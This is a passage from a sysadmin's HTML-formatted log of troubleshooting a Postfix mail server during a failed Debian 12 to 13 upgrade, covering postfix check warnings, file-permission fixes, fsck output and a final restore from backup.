class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;del&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I ran &lt;cite&gt;postfix check&lt;/cite&gt; and it reported some issues:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# postfix check&lt;/span&gt;
&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Postfix&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;using&lt;/span&gt; &lt;span class="n"&gt;backwards&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;compatible&lt;/span&gt; &lt;span class="n"&gt;default&lt;/span&gt; &lt;span class="n"&gt;settings&lt;/span&gt;
&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;See&lt;/span&gt; &lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;www&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;COMPATIBILITY_README&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;details&lt;/span&gt;
&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;To&lt;/span&gt; &lt;span class="n"&gt;disable&lt;/span&gt; &lt;span class="n"&gt;backwards&lt;/span&gt; &lt;span class="n"&gt;compatibility&lt;/span&gt; &lt;span class="n"&gt;use&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;postconf compatibility_level=3.6&amp;quot;&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;postfix reload&amp;quot;&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;sbin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;postconf&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;warning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cf&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;support&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;parameter&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;smtpd_use_tls&amp;quot;&lt;/span&gt; &lt;span class="n"&gt;will&lt;/span&gt; &lt;span class="n"&gt;be&lt;/span&gt; &lt;span class="n"&gt;removed&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;instead&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;specify&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;smtpd_tls_security_level&amp;quot;&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;sbin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;postconf&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;warning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cf&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;support&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;parameter&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;smtpd_use_tls&amp;quot;&lt;/span&gt; &lt;span class="n"&gt;will&lt;/span&gt; &lt;span class="n"&gt;be&lt;/span&gt; &lt;span class="n"&gt;removed&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;instead&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;specify&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;smtpd_tls_security_level&amp;quot;&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;sbin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;postconf&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;warning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cf&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;support&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;parameter&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;smtpd_use_tls&amp;quot;&lt;/span&gt; &lt;span class="n"&gt;will&lt;/span&gt; &lt;span class="n"&gt;be&lt;/span&gt; &lt;span class="n"&gt;removed&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;instead&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;specify&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;smtpd_tls_security_level&amp;quot;&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;sbin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;postconf&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;warning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cf&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;support&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;parameter&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;smtpd_use_tls&amp;quot;&lt;/span&gt; &lt;span class="n"&gt;will&lt;/span&gt; &lt;span class="n"&gt;be&lt;/span&gt; &lt;span class="n"&gt;removed&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;instead&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;specify&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;smtpd_tls_security_level&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;script&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;warning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;group&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;other&lt;/span&gt; &lt;span class="n"&gt;writable&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/./&lt;/span&gt;&lt;span class="n"&gt;redirect&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;regexp&lt;/span&gt;
&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;script&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;warning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;group&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;other&lt;/span&gt; &lt;span class="n"&gt;writable&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/./&lt;/span&gt;&lt;span class="n"&gt;access&lt;/span&gt;
&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;script&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;warning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;group&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;other&lt;/span&gt; &lt;span class="n"&gt;writable&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/./&lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt;
&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;script&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;warning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;group&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;other&lt;/span&gt; &lt;span class="n"&gt;writable&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/./&lt;/span&gt;&lt;span class="n"&gt;redirect&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pcre&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;In my &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/postfix/main.cf&lt;/span&gt;&lt;/code&gt; I replaced &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;smtpd_use_tls=yes&lt;/span&gt;&lt;/code&gt; by &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;smtpd_tls_security_level&lt;/span&gt; &lt;span class="pre"&gt;=&lt;/span&gt; &lt;span class="pre"&gt;may&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;I said &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;chmod&lt;/span&gt; &lt;span class="pre"&gt;g-w&lt;/span&gt; &lt;span class="pre"&gt;/etc/postfix/./redirect.regexp&lt;/span&gt;&lt;/code&gt; etc for the four mentioned files.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now &lt;cite&gt;postfix check&lt;/cite&gt; no longer warns.&lt;/p&gt;
&lt;p&gt;In &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;journalctl&lt;/span&gt; &lt;span class="pre"&gt;-t&lt;/span&gt; &lt;span class="pre"&gt;postfix&lt;/span&gt;&lt;/code&gt; I saw the following series of warnings:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;jaan&lt;/span&gt;  &lt;span class="mi"&gt;18&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;41&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;49&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;11008&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;postlog&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;warning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;owned&lt;/span&gt; &lt;span class="n"&gt;by&lt;/span&gt; &lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;var&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;spool&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/.&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And yes, most of the files below /var/spool/postfix have postfix as owner.&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;# ll /var/spool/postfix/
total 2828
drwx——  2 postfix postfix  1232896 18. jaan  18:07 active
drwx——  2 postfix postfix     4096  6. jaan  16:04 bounce
drwx——  2 postfix postfix     4096 15. märts  2021 corrupt
drwx—— 18 postfix postfix     4096 29. dets   2021 defer
drwx—— 18 postfix postfix     4096 29. dets   2021 deferred
drwxr-xr-x  2 root    root        4096 18. jaan  15:43 dev
drwxr-xr-x  2 postfix postfix     4096 18. jaan  12:53 etc
drwx——  2 postfix postfix     4096 15. märts  2021 flush
drwx——  2 postfix postfix     4096 15. märts  2021 hold
drwx——  2 postfix postfix  1581056 18. jaan  18:07 incoming
drwxr-xr-x  2 postfix postfix     4096 18. jaan  12:53 lib
drwx-wx–T  2 postfix postdrop    4096 18. jaan  18:07 maildrop
drwxrwxr-x  2 postfix postfix     4096 18. jaan  14:05 opendkim
drwxr-xr-x  2 postfix postfix     4096  1. jaan   2022 photos
drwxr-xr-x  2 postfix postfix     4096 21. apr    2022 pid
drwx——  2 postfix postfix     4096 18. jaan  16:41 private
drwx–s—  2 postfix postfix     4096 18. jaan  16:41 public
-rw-r–r–  1 postfix postfix        0 21. märts  2025 restart
drwx——  2 postfix postfix     4096 15. märts  2021 saved
drwx——  2 postfix postfix     4096 18. jaan  16:09 trace
drwxr-xr-x  3 postfix postfix     4096 15. märts  2021 usr&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;Should I change their owner to root? I changed it only for maildrop:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# chown root /var/spool/postfix/maildrop&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;No, this caused a fatal error:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;postsuper&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;fatal&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;scan_dir_push&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt; &lt;span class="n"&gt;directory&lt;/span&gt; &lt;span class="n"&gt;maildrop&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Permission&lt;/span&gt; &lt;span class="n"&gt;denied&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I removed the sticky bit from this directory as well:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# chmod -t /var/spool/postfix/maildrop&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;No, that didn’t fix my issue. I reverted the change.&lt;/p&gt;
&lt;p&gt;I changed also to root the owner of the other directories mentioned by postfix check.&lt;/p&gt;
&lt;p&gt;Now postfix check gives a new warning:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;postsuper&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;warning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;bogus&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;maildrop&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;NS_CANARY&lt;/span&gt;&lt;span class="mf"&gt;.8142&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Okay:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;mv&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;var&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;spool&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;maildrop&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;NS_CANARY&lt;/span&gt;&lt;span class="mf"&gt;.8142&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Now postfix gives no more warnings:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# postfix check&lt;/span&gt;
&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Postfix&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;using&lt;/span&gt; &lt;span class="n"&gt;backwards&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;compatible&lt;/span&gt; &lt;span class="n"&gt;default&lt;/span&gt; &lt;span class="n"&gt;settings&lt;/span&gt;
&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;See&lt;/span&gt; &lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;www&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;COMPATIBILITY_README&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;details&lt;/span&gt;
&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;To&lt;/span&gt; &lt;span class="n"&gt;disable&lt;/span&gt; &lt;span class="n"&gt;backwards&lt;/span&gt; &lt;span class="n"&gt;compatibility&lt;/span&gt; &lt;span class="n"&gt;use&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;postconf compatibility_level=3.6&amp;quot;&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;postfix reload&amp;quot;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;To disable backwards compatibility, I also said:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# postconf compatibility_level=3.6&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Now, “postfix check” gives no output at all. Nice, but my problem isn’t fixed.
Seems that these warnings weren’t the cause of my problem.&lt;/p&gt;
&lt;p&gt;I don’t believe that it is caused by a read-only filesystem.  I guess that the
warning “Read-only file system” actually means “permission denied”. But let’s verify:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# fsck -n -f
fsck from util-linux 2.41
e2fsck 1.47.2 (1-Jan-2025)
Warning!  /dev/sda1 is mounted.
Warning: skipping journal recovery because doing a read-only filesystem check.
Pass 1: Checking inodes, blocks, and sizes
Inode 64 extent tree (at level 1) could be shorter.  Optimize? no
Deleted inode 131393 has zero dtime.  Fix? no
Pass 2: Checking directory structure
Pass 3: Checking directory connectivity
Pass 4: Checking reference counts
Pass 5: Checking group summary information
Free blocks count wrong (5344474, counted=5795181).
Fix? no
Inode bitmap differences:  -131393
Fix? no
Free inodes count wrong (2322711, counted=2322773).
Fix? no
/dev/sda1: ********** WARNING: Filesystem still has errors **********
/dev/sda1: 298729/2621440 files (0.3% non-contiguous), 5141025/10485499 blocks
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;So there are indeed some errors in the file system. But (1)
“fsck -n -f” reports similar errors also on my notebook
and (2) it is difficult to run fsck on a busy partition:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# fsck /dev/sda&lt;/span&gt;
&lt;span class="n"&gt;fsck&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;util&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt; &lt;span class="mf"&gt;2.41&lt;/span&gt;
&lt;span class="n"&gt;e2fsck&lt;/span&gt; &lt;span class="mf"&gt;1.47.2&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Jan&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;2025&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;sda&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;use&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;e2fsck&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Cannot&lt;/span&gt; &lt;span class="k"&gt;continue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;aborting&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;

&lt;span class="c1"&gt;# umount /dev/sda1&lt;/span&gt;
&lt;span class="n"&gt;umount&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;busy&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I tried restarting the server in rescue mode, but there fsck fails with “Bad
magic number in super-block”:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;[RESCUE] root@vps-331a9923:~ $ lsblk
NAME   MAJ:MIN RM  SIZE RO TYPE MOUNTPOINTS
sda      8:0    0  2.9G  0 disk
`-sda1   8:1    0  2.9G  0 part /
sdb      8:16   0   40G  0 disk
`-sdb1   8:17   0   40G  0 part

[RESCUE] root@vps-331a9923:~ $ fsck /dev/sdb
fsck from util-linux 2.38.1
e2fsck 1.47.0 (5-Feb-2023)
ext2fs_open2: Bad magic number in super-block
fsck.ext2: Superblock invalid, trying backup blocks...
fsck.ext2: Bad magic number in super-block while trying to open /dev/sdb
The superblock could not be read or does not describe a valid ext2/ext3/ext4
filesystem.  If the device is valid and it really contains an ext2/ext3/ext4
filesystem (and not swap or ufs or something else), then the superblock
is corrupt, and you might try running e2fsck with an alternate superblock:
    e2fsck -b 8193 &amp;lt;device&amp;gt;
 or
    e2fsck -b 32768 &amp;lt;device&amp;gt;
Found a dos partition table in /dev/sdb
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;At this point I gave up for today and restored once more the backup from January
16 9:19 UTC. So the server runs again on Debian 12, and I don’t know when I will
a next attempt to upgrade to 13. I have been warned:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;In order to avoid potentially extended
downtime, you are strongly encouraged to port your configuration in a staging
environment before beginning the upgrade of a production mail system.&lt;/p&gt;
